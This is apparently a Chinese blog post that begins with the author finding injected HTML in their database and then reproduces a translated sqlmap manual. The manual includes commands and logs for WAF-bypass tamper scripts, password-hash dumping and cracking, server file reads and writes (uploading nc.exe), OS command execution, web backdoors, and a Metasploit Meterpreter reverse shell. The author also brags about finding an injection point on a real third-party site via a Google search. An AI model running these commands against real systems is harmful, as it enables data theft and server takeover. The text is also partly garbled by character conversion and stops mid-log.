數據庫全部字段後都被惡意添加了<IMG SRC='/WF_XSRF.html'>php
估計是sql注入致使html
網上查詢尋得了sql注入測試的強大軟件python
sqlmapmysql
如下是sqlmap的使用方法git
當給sqlmap這麼一個url的時候,它會:github
一、判斷可注入的參數 二、判斷能夠用那種SQL注入技術來注入 三、識別出哪一種數據庫 四、根據用戶選擇,讀取哪些數據
sqlmap支持五種不一樣的注入模式:web
一、基於布爾的盲注,便可以根據返回頁面判斷條件真假的注入。 二、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷。 三、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。 四、聯合查詢注入,可使用union的狀況下的注入。 五、堆查詢注入,能夠同時執行多條語句的執行時的注入。
sqlmap支持的數據庫有:sql
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
能夠提供一個簡單的URL,Burp或WebScarab請求日誌文件,文本文檔中的完整http請求或者Google的搜索,匹配出結果頁面,也能夠本身定義一個正則來判斷那個地址去測試。shell
測試GET參數,POST參數,HTTP Cookie參數,HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL注入,它也能夠指定用逗號分隔的列表的具體參數來測試。數據庫
能夠設定HTTP(S)請求的併發數,來提升盲注時的效率。
Youtube上有人作的使用sqlmap的視頻:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的實例文章:
http://unconciousmind.blogspot.com/search/label/sqlmap
能夠點擊https://github.com/sqlmapproject/sqlmap/tarball/master下載最新版本sqlmap。
也可使用git來獲取sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
以後能夠直接使用命令來更新
python sqlmap.py --update
或者
git pull
更新sqlmap
若是你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取數據的,可使用-v參數。
共有七個等級,默認爲1:
0、只顯示python錯誤以及嚴重的信息。 一、同時顯示基本信息和警告信息。(默認) 二、同時顯示debug信息。 三、同時顯示注入的payload。 四、同時顯示HTTP請求。 五、同時顯示HTTP響應頭。 六、同時顯示HTTP響應頁面。
若是你想看到sqlmap發送的測試payload最好的等級就是3。
參數:-u或者--url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
從Burp或者WebScarab代理中獲取日誌
參數:-l
能夠直接吧Burp proxy或者WebScarab proxy中的日誌直接倒出來交給sqlmap來一個一個檢測是否有注入。
參數:-m
文件中保存url格式以下,sqlmap會一個一個檢測
www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*
參數:-r
sqlmap能夠從一個文本文件中獲取HTTP請求,這樣就能夠跳過設置一些其餘參數(好比cookie,POST數據,等等)。
好比文本文件內以下:
POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0 id=1
當請求是HTTPS的時候你須要配合這個--force-ssl參數來使用,或者你能夠在Host頭後門加上:443
參數:-g
sqlmap能夠測試注入Google的搜索結果中的GET參數(只獲取前100個結果)。
例子:
python sqlmap.py -g "inurl:\".php?id=1\""
(很牛B的功能,測試了一下,第十幾個就找到新浪的一個注入點)
此外可使用-c參數加載sqlmap.conf文件裏面的相關配置。
參數:--data
此參數是把數據以POST方式提交,sqlmap會像檢測GET參數同樣檢測POST的參數。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
參數:--param-del
當GET或POST的數據須要用其餘字符分割測試參數的時候須要用到此參數。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
參數:--cookie,--load-cookies,--drop-set-cookie
這個參數在如下兩個方面頗有用:
一、web應用須要登錄的時候。
二、你想要在這些頭參數中測試SQL注入時。
能夠經過抓包把cookie獲取到,複製出來,而後加到--cookie參數裏。
在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取而且在之後的請求中加入,而且會嘗試SQL注入。
若是你不想接受Set-Cookie可使用--drop-set-cookie參數來拒接。
當你使用--cookie參數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪一個cookie來繼續接下來的請求。當--level的參數設定爲2或者2以上的時候,sqlmap會嘗試注入Cookie參數。
參數:--user-agent,--random-agent
默認狀況下sqlmap的HTTP請求頭中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可使用--user-anget參數來修改,同時也可使用--random-agnet參數來隨機的從./txt/user-agents.txt中獲取。
當--level參數設定爲3或者3以上的時候,會嘗試對User-Angent進行注入。
參數:--referer
sqlmap能夠在請求中僞造HTTP中的referer,當--level參數設定爲3或者3以上的時候會嘗試對referer注入。
參數:--headers
能夠經過--headers參數來增長額外的http頭
參數:--auth-type,--auth-cred
這些參數能夠用來登錄HTTP的認證保護支持三種方式:
一、Basic
二、Digest
三、NTLM
例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
參數:--auth-cert
當Web服務器須要客戶端證書進行身份驗證時,須要提供兩個文件:key_file,cert_file。
key_file是格式爲PEM文件,包含着你的私鑰,cert_file是格式爲PEM的鏈接文件。
參數:--proxy,--proxy-cred和--ignore-proxy
使用--proxy代理是格式爲:http://url:port。
當HTTP(S)代理須要認證是可使用--proxy-cred參數:username:password。
--ignore-proxy拒絕使用本地局域網的HTTP(S)代理。
參數:--delay
能夠設定兩個HTTP(S)請求間的延遲,設定爲0.5的時候是半秒,默認是沒有延遲的。
參數:--timeout
能夠設定一個HTTP(S)請求超過多久斷定爲超時,10.5表示10.5秒,默認是30秒。
參數:--retries
當HTTP(S)超時時,能夠設定從新嘗試鏈接次數,默認是3次。
參數:--randomize
能夠設定某一個參數值在每一次請求中隨機的變化,長度和類型會與提供的初始值同樣。
參數:--scope
例如:
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
參數:--safe-url,--safe-freq
有的web應用程序會在你屢次訪問錯誤的請求時屏蔽掉你之後的全部請求,這樣在sqlmap進行探測或者注入的時候可能形成錯誤請求而觸發這個策略,致使之後沒法進行。
繞過這個策略有兩種方式:
一、--safe-url:提供一個安全不錯誤的鏈接,每隔一段時間都會去訪問一下。 二、--safe-freq:提供一個安全不錯誤的鏈接,每次測試請求以後都會再訪問一邊安全鏈接。
參數:--skip-urlencode
根據參數位置,他的值默認將會被URL編碼,可是有些時候後端的web服務器不遵照RFC標準,只接受不通過URL編碼的值,這時候就須要用--skip-urlencode參數。
參數:--eval
在有些時候,須要根據某個參數的變化,而修改另個一參數,才能造成正常的請求,這時能夠用--eval參數在每次請求時根據所寫python代碼作完修改後請求。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
上面的請求就是每次請求時根據id參數值,作一次md5後做爲hash參數的值。
參數:-p,--skip
sqlmap默認測試全部的GET和POST參數,當--level的值大於等於2的時候也會測試HTTP Cookie頭的值,當大於等於3的時候也會測試User-Agent和HTTP Referer頭的值。可是你能夠手動用-p參數設置想要測試的參數。例如: -p "id,user-anget"
當你使用--level的值很大可是有個別參數不想測試的時候可使用--skip參數。
例如:--skip="user-angent.referer"
在有些時候web服務器使用了URL重寫,致使沒法直接使用sqlmap測試參數,能夠在想測試的參數後面加*
例如:
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap將會測試value1的位置是否可注入。
參數:--dbms
默認狀況系sqlmap會自動的探測web應用後端的數據庫是什麼,sqlmap支持的數據庫有:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
參數:--os
默認狀況下sqlmap會自動的探測數據庫服務器系統,支持的系統有:Linux、Windows。
參數:--invalid-bignum
當你想指定一個報錯的數值時,可使用這個參數,例如默認狀況系id=13,sqlmap會變成id=-13來報錯,你能夠指定好比id=9999999來報錯。
參數:--invalid-logical
緣由同上,能夠指定id=13把原來的id=-13的報錯改爲id=13 AND 18=19。
參數:--prefix,--suffix
在有些環境中,須要在注入的payload的前面或者後面加一些字符,來保證payload的正常執行。
例如,代碼中是這樣調用數據庫的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
這時你就須要--prefix和--suffix參數了:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
這樣執行的SQL語句變成:
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
參數:--tamper
sqlmap除了使用CHAR()函數來防止出現單引號以外沒有對注入的數據修改,你可使用--tamper參數對數據作修改來繞過WAF等設備。
下面是一個tamper腳本的格式:
# Needed imports from lib.core.enums import PRIORITY # Define which is the order of application of tamper scripts against # the payload __priority__ = PRIORITY.NORMAL def tamper(payload): ''' Description of your tamper script ''' retVal = payload # your code to tamper the original payload # return the tampered payload return retVal
能夠查看 tamper/ 目錄下的有哪些可用的腳本
例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 [hh:mm:03] [DEBUG] cleaning up configuration parameters [hh:mm:03] [INFO] loading tamper script 'between' [hh:mm:03] [INFO] loading tamper script 'randomcase' [hh:mm:03] [INFO] loading tamper script 'space2comment' [...] [hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092 [hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 [hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 [...] [hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar( 58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/ ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/ group/**/bY/**/x)a) [hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [...]
參數:--level
共有五個等級,默認爲1,sqlmap使用的payload能夠在xml/payloads.xml中看到,你也能夠根據相應的格式添加本身的payload。
這個參數不只影響使用哪些payload同時也會影響測試的注入點,GET和POST的數據都會測試,HTTP Cookie在level爲2的時候就會測試,HTTP User-Agent/Referer頭在level爲3的時候就會測試。
總之在你不肯定哪一個payload或者參數爲注入點的時候,爲了保證全面性,建議使用高的level值。
參數:--risk
共有四個風險等級,默認是1會測試大部分的測試語句,2會增長基於事件的測試語句,3會增長OR語句的SQL注入測試。
在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,可能致使更新的整個表,可能
形成很大的風險。
測試的語句一樣能夠在xml/payloads.xml中找到,你也能夠自行添加payload。
參數:--string,--not-string,--regexp,--code
默認狀況下sqlmap經過判斷返回頁面的不一樣來判斷真假,但有時候這會產生偏差,由於有的頁面在每次刷新的時候都會返回不一樣的代碼,好比頁面當中 包含一個動態的廣告或者其餘內容,這會致使sqlmap的誤判。此時用戶能夠提供一個字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字符 串,而錯誤頁面中不存在(使用--string參數添加字符串,--regexp添加正則),同時用戶能夠提供一段字符串在原始頁面與真條件下的頁面都不 存在的字符串,而錯誤頁面中存在的字符串(--not-string添加)。用戶也能夠提供真與假條件返回的HTTP狀態碼不同來注入,例如,響應 200的時候爲真,響應401的時候爲假,能夠添加參數--code=200。
參數:--text-only,--titles
有些時候用戶知道真條件下的返回頁面與假條件下返回頁面是不一樣位置在哪裏可使用--text-only(HTTP響應體中不一樣)--titles(HTML的title標籤中不一樣)。
參數:--technique
這個參數能夠指定sqlmap使用的探測技術,默認狀況下會測試全部的方式。
支持的探測方式以下:
B: Boolean-based blind SQL injection(布爾型注入) E: Error-based SQL injection(報錯型注入) U: UNION query SQL injection(可聯合查詢注入) S: Stacked queries SQL injection(可多語句查詢注入) T: Time-based blind SQL injection(基於時間延遲注入)
參數:--time-sec
當使用繼續時間的盲注時,時刻使用--time-sec參數設定延時時間,默認是5秒。
參數:--union-cols
默認狀況下sqlmap測試UNION查詢注入會測試1-10個字段數,當--level爲5的時候他會增長測試到50個字段數。設定--union-cols的值應該是一段整數,如:12-16,是測試12-16個字段數。
參數:--union-char
默認狀況下sqlmap針對UNION查詢的注入會使用NULL字符,可是有些狀況下會形成頁面返回失敗,而一個隨機整數是成功的,這是你能夠用--union-char只定UNION查詢的字符。
參數:--second-order
有些時候注入點輸入的數據看返回結果的時候並非當前的頁面,而是另外的一個頁面,這時候就須要你指定到哪一個頁面獲取響應判斷真假。--second-order後門跟一個判斷頁面的URL地址。
參數:-b,--banner
大多數的數據庫系統都有一個函數能夠返回數據庫的版本號,一般這個函數是version()或者變量@@version這主要取決與是什麼數據庫。
參數:-current-user
在大多數據庫中能夠獲取到管理數據的用戶。
參數:--current-db
返還當前鏈接的數據庫。
參數:--is-dba
判斷當前的用戶是否爲管理,是的話會返回True。
參數:--users
當前用戶有權限讀取包含全部用戶的表的權限時,就能夠列出全部管理用戶。
參數:--passwords
當前用戶有權限讀取包含用戶密碼的彪的權限時,sqlmap會現列舉出用戶,而後列出hash,並嘗試破解。
例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y [hh:mm:42] [INFO] using hash method: 'postgres_passwd' what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' do you want to use common password suffixes? (slow!) [y/N] n [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' database management system users password hashes: [*] postgres [1]: password hash: md5d7d880f96044b72d0bba108ace96d1e4 clear-text password: testpass [*] testuser [1]: password hash: md599e5ea7a6f7c3269995cba3927fd0093 clear-text password: testpass
能夠看到sqlmap不只勒出數據庫的用戶跟密碼,同時也識別出是PostgreSQL數據庫,並詢問用戶是否採用字典爆破的方式進行破解,這個爆破已經支持Oracle和Microsoft SQL Server。
也能夠提供-U參數來指定爆破哪一個用戶的hash。
參數:--privileges
當前用戶有權限讀取包含全部用戶的表的權限時,極可能列舉出每一個用戶的權限,sqlmap將會告訴你哪一個是數據庫的超級管理員。也能夠用-U參數指定你想看哪一個用戶的權限。
參數:--roles
當前用戶有權限讀取包含全部用戶的表的權限時,極可能列舉出每一個用戶的角色,也能夠用-U參數指定你想看哪一個用戶的角色。
僅適用於當前數據庫是Oracle的時候。
參數:--dbs
當前用戶有權限讀取包含全部數據庫列表信息的表中的時候,便可列出全部的數據庫。
參數:--tables,--exclude-sysdbs,-D
當前用戶有權限讀取包含全部數據庫表信息的表中的時候,便可列出一個特定數據的全部表。
若是你不提供-D參數來列指定的一個數據的時候,sqlmap會列出數據庫全部庫的全部表。
--exclude-sysdbs參數是指包含了全部的系統數據庫。
須要注意的是在Oracle中你須要提供的是TABLESPACE_NAME而不是數據庫名稱。
參數:--columns,-C,-T,-D
當前用戶有權限讀取包含全部數據庫表信息的表中的時候,便可列出指定數據庫表中的字段,同時也會列出字段的數據類型。
若是沒有使用-D參數指定數據庫時,默認會使用當前數據庫。
列舉一個SQLite的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name [...] Database: SQLite_masterdb Table: users [3 columns] +---------+---------+ | Column | Type | +---------+---------+ | id | INTEGER | | name | TEXT | | surname | TEXT | +---------+---------+
參數:--schema,--exclude-sysdbs
用戶能夠用此參數獲取數據庫的架構,包含全部的數據庫,表和字段,以及各自的類型。
加上--exclude-sysdbs參數,將不會獲取數據庫自帶的系統庫內容。
MySQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs [...] Database: owasp10 Table: accounts [4 columns] +-------------+---------+ | Column | Type | +-------------+---------+ | cid | int(11) | | mysignature | text | | password | text | | username | text | +-------------+---------+ Database: owasp10 Table: blogs_table [4 columns] +--------------+----------+ | Column | Type | +--------------+----------+ | date | datetime | | blogger_name | text | | cid | int(11) | | comment | text | +--------------+----------+ Database: owasp10 Table: hitlog [6 columns] +----------+----------+ | Column | Type | +----------+----------+ | date | datetime | | browser | text | | cid | int(11) | | hostname | text | | ip | text | | referer | text | +----------+----------+ Database: testdb Table: users [3 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | id | int(11) | | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ [...]
參數:--count
有時候用戶只想獲取表中的數據個數而不是具體的內容,那麼就可使用這個參數。
列舉一個Microsoft SQL Server例子:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb [...] Database: testdb +----------------+---------+ | Table | Entries | +----------------+---------+ | dbo.users | 4 | | dbo.users_blob | 2 | +----------------+---------+
參數:--dump,-C,-T,-D,--start,--stop,--first,--last
若是當前管理員有權限讀取數據庫其中的一個表的話,那麼就能獲取真個表的全部內容。
使用-D,-T參數指定想要獲取哪一個庫的哪一個表,不適用-D參數時,默認使用當前庫。
列舉一個Firebird的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users [...] Database: Firebird_masterdb Table: USERS [4 entries] +----+--------+------------+ | ID | NAME | SURNAME | +----+--------+------------+ | 1 | luther | blisset | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | +----+--------+------------+
能夠獲取指定庫中的全部表的內容,只用-dump跟-D參數(不使用-T與-C參數)。
也能夠用-dump跟-C獲取指定的字段內容。
sqlmap爲每一個表生成了一個CSV文件。
若是你只想獲取一段數據,可使用--start和--stop參數,例如,你只想獲取第一段數據可hi使用--stop 1,若是想獲取第二段與第三段數據,使用參數 --start 1 --stop 3。
也能夠用--first與--last參數,獲取第幾個字符到第幾個字符的內容,若是你想獲取字段中地三個字符到第五個字符的內容,使用--first 3 --last 5,只在盲注的時候使用,由於其餘方式能夠準確的獲取注入內容,不須要一個字符一個字符的猜解。
參數:--dump-all,--exclude-sysdbs
使用--dump-all參數獲取全部數據庫表的內容,可同時加上--exclude-sysdbs只獲取用戶數據庫的表,須要注意在 Microsoft SQL Server中master數據庫沒有考慮成爲一個系統數據庫,由於有的管理員會把他當初用戶數據庫同樣來使用它。
參數:--search,-C,-T,-D
--search能夠用來尋找特定的數據庫名,全部數據庫中的特定表名,全部數據庫表中的特定字段。
能夠在一下三種狀況下使用:
-C後跟着用逗號分割的列名,將會在全部數據庫表中搜索指定的列名。 -T後跟着用逗號分割的表名,將會在全部數據庫中搜索指定的表名 -D後跟着用逗號分割的庫名,將會在全部數據庫中搜索指定的庫名。
參數:--sql-query,--sql-shell
sqlmap會自動檢測肯定使用哪一種SQL注入技術,如何插入檢索語句。
若是是SELECT查詢語句,sqlap將會輸出結果。若是是經過SQL注入執行其餘語句,須要測試是否支持多語句執行SQL語句。
列舉一個Mircrosoft SQL Server 2000的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 [...] [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo': 'foo' $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2 [...] [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds SELECT 'foo', 'bar': 'foo, bar'
參數:--common-tables
當使用--tables沒法獲取到數據庫的表時,可使用此參數。
一般是以下狀況:
一、MySQL數據庫版本小於5.0,沒有information_schema表。 二、數據庫是Microssoft Access,系統表MSysObjects是不可讀的(默認)。 三、當前用戶沒有權限讀取系統中保存數據結構的表的權限。
暴力破解的表在txt/common-tables.txt文件中,你能夠本身添加。
列舉一個MySQL 4.1的例子:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner [...] [hh:mm:39] [INFO] testing MySQL [hh:mm:39] [INFO] confirming MySQL [hh:mm:40] [INFO] the back-end DBMS is MySQL [hh:mm:40] [INFO] fetching banner web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS operating system: Windows back-end DBMS: MySQL < 5.0.0 banner: '4.1.21-community-nt' [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt' [hh:mm:40] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 8 [hh:mm:43] [INFO] retrieved: users Database: testdb [1 table] +-------+ | users | +-------+
參數:--common-columns
與暴力破解表名同樣,暴力跑的列名在txt/common-columns.txt中。
參數:--udf-inject,--shared-lib
你能夠經過編譯MySQL注入你自定義的函數(UDFs)或PostgreSQL在windows中共享庫,DLL,或者Linux/Unix中共 享對象,sqlmap將會問你一些問題,上傳到服務器數據庫自定義函數,而後根據你的選擇執行他們,當你注入完成後,sqlmap將會移除它們。
參數:--file-read
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,而且當前用戶有權限使用特定的函數。讀取的文件能夠是文本也能夠是二進制文件。
列舉一個Microsoft SQL Server 2005的例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \ --file-read "C:/example.exe" -v 1 [...] [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: 'C:/example.exe' [hh:mm:50] [INFO] the SQL query provided returns 3 entries C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe' [...] $ ls -l output/192.168.136.129/files/C__example.exe -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe $ file output/192.168.136.129/files/C__example.exe output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
參數:--file-write,--file-dest
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,而且當前用戶有權限使用特定的函數。上傳的文件能夠是文本也能夠是二進制文件。
列舉一個MySQL的例子:
$ file /software/nc.exe.packed /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit $ ls -l /software/nc.exe.packed -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [...] do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully written on the back-end DBMS file system? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, same size as the local file '/software/nc.exe.packed'
參數:--os-cmd,--os-shell
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,而且當前用戶有權限使用特定的函數。
在MySQL、PostgreSQL,sqlmap上傳一個二進制庫,包含用戶自定義的函數,sys_exec()和sys_eval()。
那麼他建立的這兩個函數能夠執行系統命令。在Microsoft SQL Server,sqlmap將會使用xp_cmdshell存儲過程,若是被禁(在Microsoft SQL Server 2005及以上版本默認禁制),sqlmap會從新啓用它,若是不存在,會自動建立。
列舉一個PostgreSQL的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ --os-cmd id -v 1 [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' [hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF 'sys_eval'? [Y/n] y do you want to remove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
用--os-shell參數也能夠模擬一個真實的shell,能夠輸入你想執行的命令。
當不能執行多語句的時候(好比php或者asp的後端數據庫爲MySQL時),仍然可能使用INTO OUTFILE寫進可寫目錄,來建立一個web後門。支持的語言:
一、ASP 二、ASP.NET 三、JSP 四、PHP
參數:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,而且當前用戶有權限使用特定的函數,能夠在數據庫與攻擊者直接創建TCP鏈接,這個鏈接能夠是一個交互式命令行的Meterpreter會 話,sqlmap根據Metasploit生成shellcode,並有四種方式執行它:
一、經過用戶自定義的sys_bineval()函數在內存中執行Metasplit的shellcode,支持MySQL和PostgreSQL數據庫,參數:--os-pwn。 二、經過用戶自定義的函數上傳一個獨立的payload執行,MySQL和PostgreSQL的sys_exec()函數,Microsoft SQL Server的xp_cmdshell()函數,參數:--os-pwn。 三、經過SMB攻擊(MS08-068)來執行Metasploit的shellcode,當sqlmap獲取到的權限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。 四、經過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內存中執行Metasploit的payload,參數:--os-bof
列舉一個MySQL例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit [...] [hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 back-end DBMS: MySQL 5.0 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:31] [INFO] the back-end DBMS operating system is Windows how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > [hh:mm:32] [INFO] testing if current user is DBA [hh:mm:32] [INFO] fetching current user what is the back-end database management system architecture? [1] 32-bit (default) [2] 64-bit > [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:33] [INFO] detecting back-end DBMS version from its banner [hh:mm:33] [INFO] retrieving MySQL base directory absolute path [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database underlying operating system? [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > [hh:mm:40] [INFO] creation in progress ... done [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / \_|/ \_|/ / \_| | | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ /| \| =[ metasploit v3.7.0-dev [core:3.7 api:1.0] + -- --=[ 674 exploits - 351 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => thread LPORT => 60641 LHOST => 192.168.136.1 [*] Started reverse handler on 